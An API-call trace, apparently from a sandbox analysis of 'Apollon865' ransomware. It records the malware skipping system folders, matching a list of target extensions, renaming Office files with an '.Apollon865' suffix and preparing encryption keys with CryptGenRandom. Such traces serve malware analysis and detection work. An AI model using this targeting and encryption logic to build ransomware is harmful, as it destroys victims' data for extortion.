	[0069.455] lstrlenW (lpString="PGMN058.XML") returned 11
	[0069.455] lstrlenW (lpString="bak") returned 3
	[0069.455] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.455] lstrlenW (lpString="ba_") returned 3
	[0069.455] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.455] lstrlenW (lpString="dbb") returned 3
	[0069.455] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.455] lstrlenW (lpString="vmdk") returned 4
	[0069.455] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.455] lstrlenW (lpString="rar") returned 3
	[0069.455] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.455] lstrlenW (lpString="zip") returned 3
	[0069.455] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.455] lstrlenW (lpString="tgz") returned 3
	[0069.455] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.455] lstrlenW (lpString="vbox") returned 4
	[0069.455] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.455] lstrlenW (lpString="vdi") returned 3
	[0069.455] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.455] lstrlenW (lpString="vhd") returned 3
	[0069.455] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.455] lstrlenW (lpString="vhdx") returned 4
	[0069.455] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.455] lstrlenW (lpString="avhd") returned 4
	[0069.455] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.456] lstrlenW (lpString="db") returned 2
	[0069.456] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.456] lstrlenW (lpString="db2") returned 3
	[0069.456] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.456] lstrlenW (lpString="db3") returned 3
	[0069.456] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.456] lstrlenW (lpString="dbf") returned 3
	[0069.456] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.456] lstrlenW (lpString="mdf") returned 3
	[0069.456] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.456] lstrlenW (lpString="mdb") returned 3
	[0069.456] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.456] lstrlenW (lpString="sql") returned 3
	[0069.456] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.456] lstrlenW (lpString="sqlite") returned 6
	[0069.456] lstrcmpiW (lpString1="58.XML", lpString2="sqlite") returned -1
	[0069.456] lstrlenW (lpString="sqlite3") returned 7
	[0069.456] lstrcmpiW (lpString1="058.XML", lpString2="sqlite3") returned -1
	[0069.456] lstrlenW (lpString="sqlitedb") returned 8
	[0069.456] lstrcmpiW (lpString1="N058.XML", lpString2="sqlitedb") returned -1
	[0069.456] lstrlenW (lpString="xml") returned 3
	[0069.456] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.456] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN058.XML.Apollon865") returned 74
	[0069.456] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN058.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn058.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN058.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn058.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.461] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN058.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn058.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.461] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2276) returned 1
	[0069.461] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.462] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.462] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.462] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbf0, lpName=0x0) returned 0x118
	[0069.464] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbf0) returned 0x100000
	[0069.464] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.465] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.465] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.466] lstrcmpiW (lpString1="PGMN065.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.466] lstrcmpiW (lpString1="PGMN065.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.466] lstrcmpiW (lpString1="PGMN065.XML", lpString2=".") returned 1
	[0069.466] lstrcmpiW (lpString1="PGMN065.XML", lpString2="..") returned 1
	[0069.466] lstrcmpiW (lpString1="PGMN065.XML", lpString2="windows") returned -1
	[0069.466] lstrcmpiW (lpString1="PGMN065.XML", lpString2="bootmgr") returned 1
	[0069.466] lstrcmpiW (lpString1="PGMN065.XML", lpString2="temp") returned -1
	[0069.466] lstrcmpiW (lpString1="PGMN065.XML", lpString2="pagefile.sys") returned 1
	[0069.466] lstrcmpiW (lpString1="PGMN065.XML", lpString2="boot") returned 1
	[0069.466] lstrcmpiW (lpString1="PGMN065.XML", lpString2="ids.txt") returned 1
	[0069.466] lstrcmpiW (lpString1="PGMN065.XML", lpString2="ntuser.dat") returned 1
	[0069.466] lstrcmpiW (lpString1="PGMN065.XML", lpString2="perflogs") returned 1
	[0069.466] lstrcmpiW (lpString1="PGMN065.XML", lpString2="MSBuild") returned 1
	[0069.466] lstrlenW (lpString="PGMN065.XML") returned 11
	[0069.466] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN058.XML") returned 63
	[0069.466] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN065.XML" | out: lpString1="PGMN065.XML") returned="PGMN065.XML"
	[0069.466] lstrlenW (lpString="PGMN065.XML") returned 11
	[0069.466] lstrlenW (lpString="Apollon865") returned 10
	[0069.466] lstrcmpiW (lpString1="GMN065.XML", lpString2="Apollon865") returned 1
	[0069.466] lstrlenW (lpString=".dll") returned 4
	[0069.466] lstrcmpiW (lpString1="PGMN065.XML", lpString2=".dll") returned 1
	[0069.466] lstrlenW (lpString=".lnk") returned 4
	[0069.466] lstrcmpiW (lpString1="PGMN065.XML", lpString2=".lnk") returned 1
	[0069.466] lstrlenW (lpString=".ini") returned 4
	[0069.466] lstrcmpiW (lpString1="PGMN065.XML", lpString2=".ini") returned 1
	[0069.466] lstrlenW (lpString=".sys") returned 4
	[0069.466] lstrcmpiW (lpString1="PGMN065.XML", lpString2=".sys") returned 1
	[0069.466] lstrlenW (lpString="PGMN065.XML") returned 11
	[0069.466] lstrlenW (lpString="bak") returned 3
	[0069.466] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.466] lstrlenW (lpString="ba_") returned 3
	[0069.466] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.466] lstrlenW (lpString="dbb") returned 3
	[0069.466] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.466] lstrlenW (lpString="vmdk") returned 4
	[0069.467] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.467] lstrlenW (lpString="rar") returned 3
	[0069.467] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.467] lstrlenW (lpString="zip") returned 3
	[0069.467] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.467] lstrlenW (lpString="tgz") returned 3
	[0069.467] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.467] lstrlenW (lpString="vbox") returned 4
	[0069.467] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.467] lstrlenW (lpString="vdi") returned 3
	[0069.467] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.467] lstrlenW (lpString="vhd") returned 3
	[0069.467] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.467] lstrlenW (lpString="vhdx") returned 4
	[0069.467] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.467] lstrlenW (lpString="avhd") returned 4
	[0069.467] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.467] lstrlenW (lpString="db") returned 2
	[0069.467] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.467] lstrlenW (lpString="db2") returned 3
	[0069.467] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.467] lstrlenW (lpString="db3") returned 3
	[0069.467] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.467] lstrlenW (lpString="dbf") returned 3
	[0069.467] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.467] lstrlenW (lpString="mdf") returned 3
	[0069.467] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.467] lstrlenW (lpString="mdb") returned 3
	[0069.467] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.467] lstrlenW (lpString="sql") returned 3
	[0069.468] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.468] lstrlenW (lpString="sqlite") returned 6
	[0069.468] lstrcmpiW (lpString1="65.XML", lpString2="sqlite") returned -1
	[0069.468] lstrlenW (lpString="sqlite3") returned 7
	[0069.468] lstrcmpiW (lpString1="065.XML", lpString2="sqlite3") returned -1
	[0069.468] lstrlenW (lpString="sqlitedb") returned 8
	[0069.468] lstrcmpiW (lpString1="N065.XML", lpString2="sqlitedb") returned -1
	[0069.468] lstrlenW (lpString="xml") returned 3
	[0069.468] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.468] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN065.XML.Apollon865") returned 74
	[0069.468] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN065.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn065.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN065.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn065.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN065.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn065.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.469] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=4902) returned 1
	[0069.469] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.470] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.470] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.470] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1630, lpName=0x0) returned 0x118
	[0069.471] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1630) returned 0x100000
	[0069.472] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.473] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.473] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.473] lstrcmpiW (lpString1="PGMN075.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.473] lstrcmpiW (lpString1="PGMN075.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.473] lstrcmpiW (lpString1="PGMN075.XML", lpString2=".") returned 1
	[0069.473] lstrcmpiW (lpString1="PGMN075.XML", lpString2="..") returned 1
	[0069.473] lstrcmpiW (lpString1="PGMN075.XML", lpString2="windows") returned -1
	[0069.473] lstrcmpiW (lpString1="PGMN075.XML", lpString2="bootmgr") returned 1
	[0069.474] lstrcmpiW (lpString1="PGMN075.XML", lpString2="temp") returned -1
	[0069.474] lstrcmpiW (lpString1="PGMN075.XML", lpString2="pagefile.sys") returned 1
	[0069.474] lstrcmpiW (lpString1="PGMN075.XML", lpString2="boot") returned 1
	[0069.474] lstrcmpiW (lpString1="PGMN075.XML", lpString2="ids.txt") returned 1
	[0069.474] lstrcmpiW (lpString1="PGMN075.XML", lpString2="ntuser.dat") returned 1
	[0069.474] lstrcmpiW (lpString1="PGMN075.XML", lpString2="perflogs") returned 1
	[0069.474] lstrcmpiW (lpString1="PGMN075.XML", lpString2="MSBuild") returned 1
	[0069.474] lstrlenW (lpString="PGMN075.XML") returned 11
	[0069.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN065.XML") returned 63
	[0069.474] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN075.XML" | out: lpString1="PGMN075.XML") returned="PGMN075.XML"
	[0069.474] lstrlenW (lpString="PGMN075.XML") returned 11
	[0069.474] lstrlenW (lpString="Apollon865") returned 10
	[0069.474] lstrcmpiW (lpString1="GMN075.XML", lpString2="Apollon865") returned 1
	[0069.474] lstrlenW (lpString=".dll") returned 4
	[0069.474] lstrcmpiW (lpString1="PGMN075.XML", lpString2=".dll") returned 1
	[0069.474] lstrlenW (lpString=".lnk") returned 4
	[0069.474] lstrcmpiW (lpString1="PGMN075.XML", lpString2=".lnk") returned 1
	[0069.474] lstrlenW (lpString=".ini") returned 4
	[0069.474] lstrcmpiW (lpString1="PGMN075.XML", lpString2=".ini") returned 1
	[0069.474] lstrlenW (lpString=".sys") returned 4
	[0069.474] lstrcmpiW (lpString1="PGMN075.XML", lpString2=".sys") returned 1
	[0069.474] lstrlenW (lpString="PGMN075.XML") returned 11
	[0069.474] lstrlenW (lpString="bak") returned 3
	[0069.474] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.474] lstrlenW (lpString="ba_") returned 3
	[0069.474] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.474] lstrlenW (lpString="dbb") returned 3
	[0069.474] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.474] lstrlenW (lpString="vmdk") returned 4
	[0069.474] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.474] lstrlenW (lpString="rar") returned 3
	[0069.474] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.474] lstrlenW (lpString="zip") returned 3
	[0069.474] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.474] lstrlenW (lpString="tgz") returned 3
	[0069.474] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.474] lstrlenW (lpString="vbox") returned 4
	[0069.475] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.475] lstrlenW (lpString="vdi") returned 3
	[0069.475] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.475] lstrlenW (lpString="vhd") returned 3
	[0069.475] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.475] lstrlenW (lpString="vhdx") returned 4
	[0069.475] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.475] lstrlenW (lpString="avhd") returned 4
	[0069.475] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.475] lstrlenW (lpString="db") returned 2
	[0069.475] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.475] lstrlenW (lpString="db2") returned 3
	[0069.475] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.475] lstrlenW (lpString="db3") returned 3
	[0069.475] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.475] lstrlenW (lpString="dbf") returned 3
	[0069.475] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.475] lstrlenW (lpString="mdf") returned 3
	[0069.475] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.475] lstrlenW (lpString="mdb") returned 3
	[0069.475] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.475] lstrlenW (lpString="sql") returned 3
	[0069.475] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.475] lstrlenW (lpString="sqlite") returned 6
	[0069.475] lstrcmpiW (lpString1="75.XML", lpString2="sqlite") returned -1
	[0069.475] lstrlenW (lpString="sqlite3") returned 7
	[0069.475] lstrcmpiW (lpString1="075.XML", lpString2="sqlite3") returned -1
	[0069.475] lstrlenW (lpString="sqlitedb") returned 8
	[0069.475] lstrcmpiW (lpString1="N075.XML", lpString2="sqlitedb") returned -1
	[0069.475] lstrlenW (lpString="xml") returned 3
	[0069.475] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.475] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN075.XML.Apollon865") returned 74
	[0069.475] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN075.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn075.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN075.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn075.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN075.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn075.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.476] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=40948) returned 1
	[0069.476] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.477] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.477] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.477] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa300, lpName=0x0) returned 0x118
	[0069.479] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa300) returned 0x100000
	[0069.481] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.482] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.482] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.483] lstrcmpiW (lpString1="PGMN081.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.483] lstrcmpiW (lpString1="PGMN081.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.483] lstrcmpiW (lpString1="PGMN081.XML", lpString2=".") returned 1
	[0069.483] lstrcmpiW (lpString1="PGMN081.XML", lpString2="..") returned 1
	[0069.483] lstrcmpiW (lpString1="PGMN081.XML", lpString2="windows") returned -1
	[0069.483] lstrcmpiW (lpString1="PGMN081.XML", lpString2="bootmgr") returned 1
	[0069.483] lstrcmpiW (lpString1="PGMN081.XML", lpString2="temp") returned -1
	[0069.483] lstrcmpiW (lpString1="PGMN081.XML", lpString2="pagefile.sys") returned 1
	[0069.483] lstrcmpiW (lpString1="PGMN081.XML", lpString2="boot") returned 1
	[0069.483] lstrcmpiW (lpString1="PGMN081.XML", lpString2="ids.txt") returned 1
	[0069.483] lstrcmpiW (lpString1="PGMN081.XML", lpString2="ntuser.dat") returned 1
	[0069.483] lstrcmpiW (lpString1="PGMN081.XML", lpString2="perflogs") returned 1
	[0069.483] lstrcmpiW (lpString1="PGMN081.XML", lpString2="MSBuild") returned 1
	[0069.483] lstrlenW (lpString="PGMN081.XML") returned 11
	[0069.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN075.XML") returned 63
	[0069.483] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGMN081.XML" | out: lpString1="PGMN081.XML") returned="PGMN081.XML"
	[0069.483] lstrlenW (lpString="PGMN081.XML") returned 11
	[0069.484] lstrlenW (lpString="Apollon865") returned 10
	[0069.484] lstrcmpiW (lpString1="GMN081.XML", lpString2="Apollon865") returned 1
	[0069.484] lstrlenW (lpString=".dll") returned 4
	[0069.484] lstrcmpiW (lpString1="PGMN081.XML", lpString2=".dll") returned 1
	[0069.484] lstrlenW (lpString=".lnk") returned 4
	[0069.484] lstrcmpiW (lpString1="PGMN081.XML", lpString2=".lnk") returned 1
	[0069.484] lstrlenW (lpString=".ini") returned 4
	[0069.484] lstrcmpiW (lpString1="PGMN081.XML", lpString2=".ini") returned 1
	[0069.484] lstrlenW (lpString=".sys") returned 4
	[0069.484] lstrcmpiW (lpString1="PGMN081.XML", lpString2=".sys") returned 1
	[0069.484] lstrlenW (lpString="PGMN081.XML") returned 11
	[0069.484] lstrlenW (lpString="bak") returned 3
	[0069.484] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.484] lstrlenW (lpString="ba_") returned 3
	[0069.484] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.484] lstrlenW (lpString="dbb") returned 3
	[0069.484] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.484] lstrlenW (lpString="vmdk") returned 4
	[0069.484] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.484] lstrlenW (lpString="rar") returned 3
	[0069.484] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.484] lstrlenW (lpString="zip") returned 3
	[0069.484] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.484] lstrlenW (lpString="tgz") returned 3
	[0069.484] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.484] lstrlenW (lpString="vbox") returned 4
	[0069.484] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.484] lstrlenW (lpString="vdi") returned 3
	[0069.484] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.484] lstrlenW (lpString="vhd") returned 3
	[0069.484] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.484] lstrlenW (lpString="vhdx") returned 4
	[0069.484] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.484] lstrlenW (lpString="avhd") returned 4
	[0069.484] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.484] lstrlenW (lpString="db") returned 2
	[0069.484] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.485] lstrlenW (lpString="db2") returned 3
	[0069.485] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.485] lstrlenW (lpString="db3") returned 3
	[0069.485] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.485] lstrlenW (lpString="dbf") returned 3
	[0069.485] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.485] lstrlenW (lpString="mdf") returned 3
	[0069.485] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.485] lstrlenW (lpString="mdb") returned 3
	[0069.485] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.485] lstrlenW (lpString="sql") returned 3
	[0069.485] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.485] lstrlenW (lpString="sqlite") returned 6
	[0069.485] lstrcmpiW (lpString1="81.XML", lpString2="sqlite") returned -1
	[0069.485] lstrlenW (lpString="sqlite3") returned 7
	[0069.485] lstrcmpiW (lpString1="081.XML", lpString2="sqlite3") returned -1
	[0069.485] lstrlenW (lpString="sqlitedb") returned 8
	[0069.485] lstrcmpiW (lpString1="N081.XML", lpString2="sqlitedb") returned -1
	[0069.485] lstrlenW (lpString="xml") returned 3
	[0069.485] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.485] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN081.XML.Apollon865") returned 74
	[0069.485] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN081.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn081.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN081.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn081.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGMN081.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pgmn081.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.486] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1053080) returned 1
	[0069.486] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.487] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.487] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.487] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1014a0, lpName=0x0) returned 0x118
	[0069.488] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1014a0) returned 0x36a0000
	[0069.528] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.529] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.529] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.636] lstrcmpiW (lpString1="PGMN082.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.636] lstrcmpiW (lpString1="PGMN082.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.636] lstrcmpiW (lpString1="PGMN082.XML", lpString2=".") returned 1
	[0069.636] lstrcmpiW (lpString1="PGMN082.XML", lpString2="..") returned 1
	[0069.636] lstrcmpiW (lpString1="PGMN082.XML", lpString2="windows") returned -1
	[0069.636] lstrcmpiW (lpString1="PGMN082.XML", lpString2="bootmgr") returned 1
